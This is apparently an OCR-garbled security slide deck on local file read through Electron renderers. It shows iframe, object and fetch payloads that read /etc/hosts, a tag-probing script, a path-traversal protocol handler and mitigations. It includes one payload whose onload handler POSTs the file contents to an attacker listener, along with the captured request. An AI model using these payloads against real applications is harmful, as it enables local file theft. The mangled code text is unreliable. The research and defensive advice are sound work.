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@] @ Xt | [fetc/hosts

##
# Host Database
#

# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
##
127.0.0.1 localhost
255 255.255.255 broadcasthost
localhost
# Added by Docker Desktop
# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker.internal
# End of section
192.168.31.185 www.clickjacking.com
192.168.31.83 evil.jd.com ; B R
10.211.55.9 A} ——A¥——AnA%-A§—-windows-11.shared A}--A¥——AnA%-A§--windows-11 #prl_hostonly shared
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##
# Host Database
#

# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
##
127.0.0.1 localhost
255 255.255.255 broadcasthost

localhost

# Added by Docker Desktop

# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker.internal

# End of section
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0 Electron v30.0.3  » Run Electron Fiddle - Unsaved @ & © Publish

& Editors - Main Process (main.js) «” X  HTML (index.html) A3
D index.html L3 wimt

[ main.js { app, BrowserWindow } = require('electron')

path = requlre( node path') charset="UTF-8"

Log
[ preload.js t23

[ renderers createWindow () {
http-equiv="Content-Security-Policy"
mainWindow = Brc 1dow content="default-src 'self'; script-src 'self'"

width: 800, Hello World!

height: 600,

webPreferences: {

preload: path.join(__dirname, 'preload.js"') Hello World

} We are using Node.js id="node-version"

1 Chromium id="chrome-version"
and Electron id="electron-version"

mainWindow. loadFile("index.html")

Modules src="./renderer.js"
src="file:///etc/hosts"

IE & INE R 1% 7% [n) @

r‘b () Hello World!

Hello World!

We are using Node.js 20.11.1, Chromium 124.0.6367.119, and Electron 30.0.3.

##

# Host Database

#

# localhost is used to configure the
loopback interface

# when the system is booting. Do
not change this entry.

##

127.0.0.1 localhost

EE

LRGN E

D}

A JavaScript



eoe Electron v30.0.3 » Run [ Console Electron Fiddle - Unsaved S & O Publish

faw Editors ©) Main Process (main.js)
O index.html

[ mainjs t { app, BrowserWindow } = require(‘'electron')

D load.j t path = require('node:path') arset="UTF-8"
preload.js

[ renderer.js function createWindow () {

mainWindow = new BrowserWindow({

width: 800, title>Hello World!</title
height: 600, head
webPreferences: { body

preload: path.join(__dirname, 'preload.js') h1>Hello World!</h

¥ We are using Node.js <span id="node-version"
3 Chromium <span id="chrome-version"
and Electron <span id="electron-version"
mainWindow. loadFile('index.html")

Modules script src="./renderer.js"></script

iframe src="file:///etc/hosts" onload="alert(iframe.
contentDocument.body.innerText)" id="iframe" f ram

app.whenReady().then(() => {
createWindow()

app.on('activate', function () {

EAZBETEZREKFEMHHNIT Javascript , FTUUEE csp 2, HIMNEEEEXA TN

r
() Hello World! |

Hello World!

H#

# Host Database

#

# localhost is used to configure the loopback interface

# when the system is booting. Do not change this entry.
#i#

127.0.0.1localhost

255.255.255.255 broadcasthost

We are using Nod &l localhost

# Added by Docker Desktop

# To allow the same kube context to work on the host and
the container:

127.0.0.1 kubernetes.docker.internal

# End of section

192.168.31.185 www.clickjacking.com

192.168.31.83  evil.jd.com

10.211.55.9 Al--A¥--AnAY;-A§--windows-11.shared A!--
A¥--AxAY,-Ag§--windows-11 #prl_hostonly shared
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Listening on 0.0.0.0 80

fo ] Electron v30.0.3  » Run Electron Fiddle - Unsaved S & © Publish

Editors Main Process (main.js) 2 X HTML (index.html)

«

index.html

main.js { app, B dindow } = require('electron')
) path = require('node:path*) charset="UTF-8"
preload.js

renderer.js createWindow () {

mainWindow = BrowserWindow({ Hello World!
width: 800,
height: 600,
webPreferences: { Hello World!
preload: path.join(__dirname, 'preload.js') We are using Node.js id="node-version"
Ir Chromium id="chrome-version"
3 and Electron id="electron-version"

mainWindow. loadFile('index.html") src="./renderer.js"

src="file:///etc/hosts" onload="fetch|(|'http://192.168.31.
26/', {method: 'POST',header: 'Content-Type 'text/plain'}, body:
iframe.contentDocument.body. innerText})" id="iframe"

AT

r
() () Hello World!

Hello World!

We are using Node.js 20.11.1, Chromium 124.0.6367.119, and Electron 30.0.3.

#i#

# Host Database

#

# localhost is used to configure the
loopback interface

# when the system is booting. Do
not change this entry.

#i

127.0.0.1 localhost




Listening on 0.0.0.0 80

Connection received on mirror.datamossa.io 59399
POST / HTTP/1.1

Host: 192.168.31.26

Connection: keep-alive

Content-Length: 547

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTI
fari/537.36

Content-Type: text/plain

Accept: */*

[Accept-Encoding: gzip, deflate

[Accept-Language: zh-CN

H#

# Host Database
#

# localhost is used to configure the loopback interface

# when the system is booti Do not change this entry.

H##

127.0.0.1 localhost

255.255.255.255 broadcastho.

gl localhost

# Added by Docker Desktop

# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker.internal

# End of section
192.168.31.185
192.168.31.83
1), 2011, 1515, %)

| |

www . clickjacking.com
evil.jd.com
R} --A¥--AnA%-AS--windows-11.shared A!--A¥--AnA%-AS--windows-11 #prl_hostonly shared
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B Stop B3] Console Electron Fiddle - Unsaved

Saving files to temp directory...
Saved files to /var/folders/d9/y37ws11x2q3fdd@qlwxdbwp40000gn/T/electron-fiddle-30934-xc61buSNHYcr
Electron v30.0.3 started.

e Hello World!

Hello World!

Main Process (main.js) We are using Nod e
# Host Database
#

# is used to i the interface
R # when the system is booting. Do not change this entry.
{ app, Brow?erwln o

path = require('no 127.0.0.1localhost

255.255.255.255 broadcasthost

C)

Editors

) index.html

I )

) preload.js
1 localhost
function createWindow () # Added by Docker Desktop
# To allow the same kube context to work on the host and
L the container:
const mainWindow = 127.0.0.1 kubernetes.docker.internal

width: 800, # End of section

. 192.168.31.185 www.clickjacking.com

height: 600, 192.168.31.83 evil.jd.com
webPreferences: { 10.211.66.9  A}--A¥--AnAv;-A§--windows-11.shared A}--
A¥--AnAvz-A§--windows-11 #prl_hostonly shared

N

) renderer.js

preload: path.join
}

» e

mainWindow. loadFile('i

e ct data="file:///etc/hosts" onload="alert(iframe.
contentDocument.body. innerText)" id: "1frame"u t

object AR&AJLAL

3. embed

BJLAUNEL, (EHSERERLERBINISHIAER DOM B

4. HithtrE
AR, MIHAERISEFEERE, HiE LAREE, £ renderer.js B, HITLATHES

const allTags = |
'a', 'abbr', 'address', 'area', 'article', 'aside', 'audio', 'b', 'base',
'bdi', 'bdo', 'blockquote', 'body', 'br', 'button',

'canvas', 'caption', 'cite', 'code', 'col', 'colgroup', 'data',

'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'div', 'dl‘',

'dt', 'em', 'embed', 'fieldset', 'figcaption', 'figure', 'footer',

"form', 'hl', 'h2', 'h3', 'h4', 'h5', 'hé6', 'head', 'header',



https://developer.mozilla.org/en-US/docs/Web/API/HTMLEmbedElement
https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement

'hr', 'html', 'i',

'1i', 'link',

'iframe', 'img', 'input', 'ins', 'kbd', 'label',

'map', 'mark', 'meta', 'meter',

‘Ol',

'legend’, 'main',

'nav', 'noscript', 'object', 'optgroup', 'option', 'output', 'p',

qa v

'select’,

'param', 'picture', 'pre', 'progress', 'rp', 'rt', 'ruby',

's', 'samp', 'script', 'section', 'slot', 'small', 'source',

'span', 'strong', 'sub’,
|td|,

ltrl,

'style', 'summary', 'sup', 'table',

"tbody', 'textarea', 'tfoot', 'th', 'thead', 'time',

lulI,

'template’,

'title', "track', 'u', 'var', 'video', 'wbr',

1

const loadSupportedTags = [ 'iframe', 'img', 'script', 'audio', 'video',

'object', 'embed'];

allTags.forEach(tagName => {

const element document.createElement (tagName) ;

element.

element
element.

element.

setAttribute('src',

.setAttribute( 'href’,

setAttribute( 'data’,
setAttribute('rel’,

'file:///etc/hosts');
'file:///etc/hosts');
'file:///etc/hosts');

'file:///etc/hosts');

element.onload function() {

if (this.contentDocument && this.contentDocument.body) {
console.log( ${tagName}: ,
this.contentDocument.body.innerText) ;

console.log( S${tagName}: ,
this.contentDocument.body.innerHTML) ;

console.log( ${tagName}: ,

this.contentDocument.body.textContent) ;




} else if(this.textContent) {

console.log( ${tagName}: , this.textContent);

} else {

console.log( ${tagName} loaded.);

element.onerror

console.error( ${tagName} failed to load. );

14

function() {

14

document.body.appendChild(element);

BEWAFIEIRE

Hello World!

blocke
| Dlogkauote 993x9_js 20.111, Chromium 124.0.6367.119, and Electron 30.0.3.

> i¥E

3
# Host Database
#

# localhost is used to configure the
Toopback interface

# when the system is booting. Do
not change this entry.

#
127.0.0.1 localhost

I

# Host Database

#

# localhost is used to configure the
loopback interface

# when the system is booting. Do
not change this entry.

##
127.0.0.1 localhost  E——

#

# Host Database

#

# localhost is used to configure the
Toopback interface

# when the system is booting. Do
not change this entry.

127.0.0.1 localhost

(ORI CEVHIEEIUY IR Always match Chrome's language X Switch DevTools to Chinese, g

% [0 FElements Console Sources Network Performance Memory  Application  Security Lighthouse

<h1>Hello World!</h1>
" Wle are using Node.js "
<span id="node-version”>20.11.1</span>

“, Chromium "

<span id="chrome-version">124.0,6367.119</span>
", and Electron "

<span id="electron-versiof

>30.0.3</span>

You can also require other files to run in this process —>

etc/hosts” data="file:///etc/hosts" rel="file:///etc/hosts"></a>

etc/hosts" data="file:///etc/hosts" rel="file:///etc/hosts"></abbr>
ile:///etc/hosts" data="file:///etc/hosts" rel="file:///etc/hosts"></address>
etc/hosts" href="file:///etc/hosts" data="file:///etc/hosts" rel="file:///etc/hosts">

"file:///etc/hosts" 1///etc/hosts" rel="file:///etc/hosts"></article>

ile:///etc/hosts” data="file:///etc/hosts" rel="file:///etc/hosts"></aside>
ilei///etc/hosts” data="file:///etc/hosts" rel="filei///etc/hosts"></audio>

etc/hosts” data="file:///etc/hosts" rel="file:///etc/hosts"></b>
file:///etc/hosts"” data="file:///etc/hosts" rel="file:///etc/hosts">
file:///etc/hosts" rel="file:///etc/hosts"></bdi>
file:///etc/hosts"></bdo>
data="file:///etc/hosts" rel="file:///etc/hosts">

</blockquote>
<body src="file:///etc/hosts" href="file:///etc/hosts" data="file:///etc/hosts" rel="file:///etc/hosts"></body>
<br sre="fil etc/hosts” data="file:///etc/hosts” re

“file:///etc/hosts">
etc/hosts" data="file:///etc/hosts" rel="file:///etc/hosts"></button>
etc/hosts” data="file:///etc/hosts" rel="file:///etc/hosts">

tc/hosts" data="file:///etc/hosts" rel="file:///etc/hosts"></caption>
//etc/hosts"></cite>

"file:///etc/hosts"></code>
“file:///etc/hosts">
file:///etc/hosts"></colgroup>
//etc/hosts"></data>
file:///etc/hosts"></datalist>
“files///etc/hosts"></dd>
el="file:///etc/hosts"></del>
etc/hosts" href="filei///etc/hosts" data="file:///etc/hosts" rel="file:///etc/hosts"></details>
<dfn src="file:///etc/hosts" hre etc/hosts" data="file:///etc/hosts" rel="file:///etc/hosts"></dfn>
<dialog src="file:///etc/hosts etc/hosts” data="file:///etc/hosts" rel="file:///etc/hosts"></dialog>
<div sre="file: etc/hosts" dat; file:///etc/hosts"></div>
117etc/hosts"></d1>
file:///etc/hosts"></dt>

117etc/hosts"></en>
file:///etc/hosts"> w </enbed>
file:///etc/hosts"></fieldset>
le:///etc/hosts">

<button src
<canvas src="file:

:///etc/hosts" dat
etc/hosts" data="file
etc/hosts" href="file:///etc/hosts" dat
etc/hosts" dat
tc/hosts" dat;

etc/hosts" dat:
etc/hosts" href: :///etc/hosts" dat
etc/hosts" href="file:///etc/hosts" dat
tc/hosts” href="file:///etc/hosts" dat

file:///etc/hosts" re
le:///etc/hosts" re

</Figcaption>
<figure src="file:///etc/hosts" href="file:///etc/hosts" data="file:///etc/hosts" rel="file:///etc/hosts"></Figure>
<footer src="file: etc/hosts" data="file:///etc/hosts" rel="file:///etc/hosts"></footer>
etc/hosts" data="file:///etc/hosts" rel="file:///etc/hosts"></form>
//etc/hosts" rel="file:///etc/hosts"></h1>
//etc/hosts"
//etc/hosts"
//etc/hosts"
//etc/hosts"
//etc/hosts" file:///etc/hosts"></h6>
//etc/hosts" rel="file:///etc/hosts"></head>
etc/hosts” data="file:///etc/hosts" rel="file:///etc/hosts"></header>
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(ORI EVE ECIYLY TIPS Always match Chrome's language ] Switch DevTools to Chinese JSRURSICIEEI)

Elements  Console  Sources  Network  Performance  Memory  Application  Security Lighthouse

Hello World!

We are using Node.js 20.11.1, Chromium 124.0.6367.119, and Electron 30.0.3.

top v @ |[Filter

@ » ing failed to load.

© »body failed to load.

© Uncaught SyntaxError: Invalid or unexpected token
script loaded.

ifrane:
# Host e

¥ locathost 15 used to configure the loopback interface
# when the system is booting. Do not change this entry.
##

127.0.0.1  localhost
estasemt b casthast

=, oc:

> g +'hdded by Docker beskiep
# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker.interna
# End of section

o
192.168.31.185 . clickjacking. con
# Host Database 192.168.31.83 evityjdscon S
. . 10.211.55.9 1.shared 1 #pri_hostonly shared
# localhost is used to configure the . .
1 ifrane: <pre style="word-wrap: break-word; white-space: pre-wrap;">i#
oopback interface e S0 3
# when the system is bcetmg Do +
not change this entry # localhost is used to configure the loopback interface

# when the systen is booting. Do mot change this entry.
127.0. 0.1 localhost ##

127.0.0.1  localhost
255.255.255.2

el localhost

# Added by Dacker Desktop

# To allow the same kube context to work on the host and the container:

127.0.0.1 kubernetes.docker. internal

# # End of section

# Host Database 192.168.31.185 www. clickjacking. com
192.168.3 evil,jd.com o
10 ] 1.shared Al s 1 #prl_hostonly shared

# localhost is used to configure the
Toopback interface

# when the system is booting. Do ifrane:
not change this entry. * Vst Database

</pre>

¥ Locathost is used to configure the loopback interface

127.0.0.1  localhost S £ en the sysen is bootin: 5o not crnae thi ey

. 37.0.0.1 locathost
255.255.255.255 broadcasthost
all

# Added by Docker Desktop
# # To allow the same kube context to work on the host and the container:
# Host Database La7cores e metesricetersinterial
# End of section

# localhost is used to configure the To368.31.105 s lickfacking. con

Toopback interface 192.168. e S
# when the system is booting. Do 1L i 1.shared A} 1 #pri_hostonly shared
not change this entry. embed loaded.

object: ##
127.0.0.1 Tocalhost : et Database

¥ locsthost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
it

127.0.0.1  localhost
255.255.255.255 broadcasthost

Tocalhost

# Added by Docker Desktop

# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker. internal

# End of section
4 192.168.31.185 . clickjacking. con
Z 192.168.31.83  evil

23K, *BRE iframe #l object PR R LIFREXAA, source In&fT
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Default levels ¥ Nolssues €3

renderer.js:46
renderer.js:46

hosts:

renderer.js:40

renderer.js:34

renderer.js:35

renderer.js:36

renderer.js:40

renderer. js:34

BRI —



0 Electronv30.0.3 » Run [ Console Electron Fiddle - Unsaved

HTML (index.html)

faw Editors ©)

[ index.html

N

[ main.js
charset="UTF-8"

Q

[ preload.js

Q

[ renderer.js
Hello World!

Hello World!
We are using Node.js id="node-version"
Chromium id="chrome-version" 7
and Electron id="electron-version"

Modules fetch('file:///etc/hosts"') |
.then(response => {
(!response.ok) {
Error("HTTP error! status: ${response.status}’);

response.text();

})
.then(data => {

console. log( "iEKRATN, ABA:"', data);
})

(error => {

console.error('iEREM: ', error);

b;

r
() [ ) Hello World!

(i) DevTools is now available in Chinese!

Hello World!

is [0 Elements Console Sources Network >> A1 83 X

We are using Node.js 20.11.1, S
top Vv Fil Default levels¥ ~ No |
Chromium 124.0.6367.119, and B @ 7 @ e cent e olssues
A > VM4 sandbox bundle:2

Electron 30.0.3. Electron Security Warning (Insecure Content-Security-Policy) This renderer

process has either no Content Security
Policy set or a policy with "unsafe-eval" enabled. This exposes users of

this app to unnecessary security risks.

For more information and help, consult
https://electronjs.org/docs/tutorial/security.
This warning will not show up

once the app is packaged.

BRI, ABR: ## index.html:27
# Host Database

#

# localhost is used to configure the loopback interface

# when the system is booting. Do not change this entry.

#it

127.0.0.1  localhost

255.255.255.255 broadcasthost

384l localhost

# Added by Docker Desktop

# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker.internal

# End of section

192.168.31.185 www.clickjacking.com

192.168.31.83 evil.jd.com

10.211.55.9 Al ——A¥--AnA%-A§--windows-11.shared A}--A¥—-AxAL-A§——
windows-11 #prl_hostonly shared

£10T /#1910



0x04 Rl FREta?
BAARRETF file:// HMMANPRE KT, RILUFEMEEMNLAI M, INRE

grantFileProtocolExtraPrivileges BN Disabled , =& B LABXARRIE?

MRAKET Fuse BBRXE, AlEARKSE, FEMNREESSHTIENME index.html
K, BNERAEREFREDE, FHiMEHR— Tt

Main Process (main.js)

{ app, BrowserWindow } = require('electron')
path = require('node:path')

asar_path = path.join(process.resourcesPath, 'app.asar')
createWindow () {

mainWindow = BrowserWindow({
width: 800,
height: 600,
webPreferences: {
preload: path.join(__dirname, 'preload.js')
}
1)

mainWindow. loadFile((path.join(asar_path, 'index.html")|)

T:E index.html ':F';%\E\}]l] iframe *D fetch Iﬂ**iﬁﬂyz{gi{ﬂjﬁ:ﬂgffﬁg

EFENT/H19T



®® 5% [ Electronv30.03 » Run [ Console Electron Fiddle - Unsaved > & © Publish

@ Editors @
[ index.html

Main Process (main.js) HTML (index.html)

[ main.js { app, indow } = require('electron') Hello World!

path = require('node:path')

RO 0

[ preload.js
asar_path = path.join(process.resourcesPath, 'app.asar') Hello World!

We are using Node.js

createWindow () { Chromium id="ch

and Electron id

]

[ renderer.js

mainWindow = BrowserWindow((]

width: 8ee,

height: 600,

webPreferences: {

preload: path.join(__dirname, 'preload ' 7, s id="1 " onload="console.log(iframe.

}

)
fetch('file:///etc/hosts')
.then(response => {
mainWindow. loadFile(path.join(asar_path, 'index (!response.ok) {
Error("HTTP error! status: ${response.status}’);

response.text();
Ll
.then(data => {
console. log('iFRELI, AANRN:", data);
3
(error => {
app.whenReady().then(() => { console.error('ig :', error);

createWindow() b;

app.on('activate',

erWindow.getAllWindows().length === @) createWindow()

ScFH fiddle ;U]”ﬁt_—F; 1 B 5 FE mainWindow.loadFile('index.html')

r ~

o [ ) Hello World! |

() DevTools is now available in Chinese!

X
Hello World!

ic [o Elements Console  Sources  Network >> A1 8 P X
We are using Node.js 20.11.1, Chromium B Q tp~ | ® |(Fier Defaultlevels ¥ | Nolssues 3
124.0.6367.119, and Electron 30.0.3.
BRI, ABR: ## index.html:28
B # Host Database
#
# Host Database # localhost is used to configure the loopback interface
# i i # when the system is booting. Do not change this entry.
# localhost is used to configure the #H
loopback interface 127.0.0.1  localhost
# when the system is booting. Do 255.255.255.255 broadcasthost
not change this entry. i1 locathost
# z #dde%lby EzCKer Deikgop text t k the host d th tai
o allow the same kube context to work on the host an e container:
127.0.0.1 localhost 127.0.0.1 kubernetes.docker.internal
# End of section
192.168.31.185 www.clickjacking.com
192.168.31.83 evil.jd.com
[ ## index.htm(: 18
# Host Database
#
# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
##
127.0.0.1 localhost
255.255.255.255 broadcasthost
384l localhost
# Added by Docker Desktop
# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker.internal
# End of section
192.168.31.185 www.clickjacking.com
192.168.31.83 evil.jd.com
A > VM4 sandbox bundle:2
Electron Security Warning (Insecure Content-Security-Policy) This renderer
process has either no Content Security
Policy set or a policy with "unsafe-eval" enabled. This exposes users of
this app to unnecessary security risks.
For more information and help, consult
L https://electronjs.org/docs/tutorial/security. 4

heer A, IMTE(ECA[E] mainwindow.loadFile(path.join(asar path, 'index.html'))
, A8 Forge 18, GEBRRINRE, grantFileProtocolExtraPrivileges KEN

Enabled

F1201/H#£19@



r
o Y Hello World! )

(i) DevTools is now available in Chinese!

Hel IO World ! Always match Chrome's language ] Switch DevTools to Chinese sl REEhISIEIET]

ir [D Elements  Console  Sources  Network >> & X
We are using Node.js 20.11.1, Chromium 124.0.6367.119, and Electron e

P @ topv © Filter Default levels ¥ No Issues €83

## WRATH, ABH: index.html:28
# Host Database # Host Database

# #

# localhost is used to configure the # localhost is used to configure the loopback interface
loopback interface # when the system is booting. Do not change this entry.
# when the system is booting. Do #

: 127.0.0.1 localhost
;;t change this entry. 255.255.255.255 broadcasthost

gail localhost
30.0.3. 127.0.0.1 localhost # Added by Docker Desktop
# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker.internal
# End of section
192.168.31.185 www.clickjacking.com
192.168.31.83 evil.jd.com

## index.htm1:18
# Host Database

#

# localhost is used to configure the loopback interface

# when the system is booting. Do not change this entry.

##

127.0.0.1  localhost

255.255.255.255 broadcasthost

HHi & localhost

# Added by Docker Desktop

# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker.internal

# End of section

192.168.31.185 www.clickjacking.com

192.168.31.83 evil.jd.com

4

DTUERILUEEME, BN iframe 1 fetch WEPIRENEIT /etc/hosts AR, ETFEE

R Forge HECE, 200 grantFileProtocolExtraPrivileges B/ Disabled

F1B3m/H 19T
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r, . A
[ ] [ ] forge.config.js UNREGISTERED

4P forge.config.js

const { FusesPlugin } = ('@electron-forge/plugin-fuses');
const { FuseV1Options, FuseVersion } = ('@electron/fuses');

module.exports = {
packagerConfig:
asar: ,

Y
rebuildConfig: {},
makers: [

name: '@electr forge/maker-squirrel’,
config: {},
{
name: '@electron-forge/maker-zip',
platforms: ['darwin'],
{
name: '@electron-forge/maker-deb',
config: {},
{
name: '@electron-forge/maker-rpm',
config: {},
’
1,
plugins: [
{

name: '@electron-forge/plugin-auto-unpack-natives',
config: {},
’
// Fuses are used to enable/disable various Electron functionality
// at package time, before code signing the application
new FusesPlugin({
version: V1,
.RunAsNode] : ’
.EnableCookieEncryption]:
.EnableNodeOpt1onsEnv1ronmentVarlable]
.EnableNodeCliInspectArguments]:
.EnableEmbeddedAsarIntegrityValidatio
.0nlyLoadAppFromAsar] :
.GrantFlleProtocolExtraPr1v1leges]

] Line 42, Column 62; Saved ~/D /28/local_file_read/ .config.js (UTF-8) P master (8) Spaces: 2 JavaScript o
~
R¥]
¥ L. N ~
[ ] [ ] aspiring-worker-squash-yibu7
@ DevTools is now available in Chinese! GUIEVEINEICHNOIIGINERRENTIELEY EUI I CLIER XL IHEEEY ( Don't show again X
o Elements Console Sources Network Performance Memory Application Security Lighthouse Q1 B1 533 i X
D @ tpv © |Filter Default levels v 1lssue: B1 €83
@ Not allowed to load local resource: chromewebdata/:1

file:///Users/helper/Desktop/tmp/28/1local file read/out/aspiring-worker-—squ..64/aspiring-worker—squash-yibu7.app/Contents/Resources/app.asar/i

>

EIEKK, WEEHN loadurn ?

F14AT/H19T



function createWindow () {
// Create the browser window.
const mainWindow = new BrowserWindow({
width: 800,
height: 600,
webPreferences: {
preload: path. (__dirname, 'preload.js')

})

// and load the index.html of the app.

// mainWindow. loadFile(path.join(asar_path, 'index.html'))
mainWindow. (path. (asar_path, 'index.html'))

// mainWindow. loadFile('index.html")

// Open the DevTools.
// mainWindow.webContents.openDevTools()

BXiTE
00 aspiring-worker-squash-yibu7

DevTools is now available in Chinese!

DevTools was disconnected from the page.

Once page is reloaded, DevTools will automatically reconnect.

i;f_%z:?i', E;‘%EHE’\J%E, J:FET grantFileProtocolExtraPrivileges file TdJ\ly;TLjEf%xEE
[T, & app.asar BRIXHEESAREEIEZEN T

15T/ H 19T



EREAEXM XSRS ERBEX N T, AREL, ME’RERE", ERINBEX
nop:// MY

const { app, BrowserWindow, protocol, net, session } = require('electron')
const url = require('url')
const path require( 'node:path')

const fs = require('node:fs')

const asar path = path.join(process.resourcesPath, 'app.asar')
protocol.registerSchemesAsPrivileged( [
{
scheme: 'nop',
privileges: {
standard: true,
secure: true,

supportFetchAPI: true

function createWindow () {

const mainWindow = new BrowserWindow( {
width: 800,
height: 600,
webPreferences: {
partition: 'persist:example',

preload: path.join( dirname, 'preload.js')

mainWindow.loadURL( 'nop://index.html"')

E16T/H19]




mainWindow.webContents.openDevTools ()

app.whenReady().then(() => {

const partition = 'persist:example'

const ses = session.fromPartition(partition)

ses.protocol.handle('nop', (request) => {
const filePath = request.url.slice('nop://'.length)
return net.fetch(url.pathToFileURL(path.join(_ dirname,

filePath)).toString())
})

createWindow( )

app.on('activate', function () {

if (BrowserWindow.getAllWindows().length === 0) createWindow/()

})
})

app.on( 'window-all-closed', function () {

if (process.platform !== 'darwin') app.quit()

})

T18E, HITlE

F17H/H19™



r’ () Hello World! )

@ DevTools is now available in Chinese!

X
Hel |O World! Always match Chrome's language ] Switch DevTools to Chinese JBLIRETIEEIET!
‘s [o Elements Console  Sources  Network > Q4 € : X
We are using Node.js 20.11.1 S
. 9 ] ’ D @ topvy © |Filter Default levels ¥ NoIssues  £83
Chromium 124.0.6367.119, and
Electron 30.0.3. € Failed to load resource: net::ERR_UNEXPECTED renderer.js:1 @
@ Not allowed to load local resource: file:///etc/hosts index.html/:18
& »Not allowed to load local resource: file:///etc/hosts (index):20
© »iEREM: TypeError: Failed to fetch (index):31
at (index):20:7
>
. A

XEMETFERRRT, MARFREERT file:// EEXMHT, BXHEER R,
RN EE T LUB S L EITRI A R, Ei)blz/l\TdJ\lM, ZfEiEd
nop://../../../etc/hosts XMIETUHITAMMHIREN, FAIUFEETHTE XN BIBH R
FRERK

& A OB FE A B R ISR TE 127.0.0.1 B9 http BRSS28KFH LE A< ST IREX

0x05 ifEiFEZEfH!
Typora XFEH Markdown $5518 5 HIMX LK RKIE

e CVE-2023-2316
e CVE-2023-2971

F18T/H 19T



0x06 HiE

A IEEURTA EwebINETE Electron FHI—FPIEMR, 7E web PMARIXER T, BE
EEIT N E A S QIR E ORI N FE i o] UISE I 55 BN BIRLER

M FREFEHAFLREHNNARR, XR—MEMHREF A, RATEABRT, A
PUSRIRAEE

PR A AN AT L A EE &

FoE SRR CSP g

TEAHIERE web RSB BEEX MY, MIFRBEMEEE
BIREDEHS, MERIRE

REZNEER LELI XSS K

[TERNT % grantFileProtocolExtraPrivileges f&, TEAEMMIERGITHERT,
BHIZE disabled ]

o s —E

Q. NOP Team

19T/ H 19T
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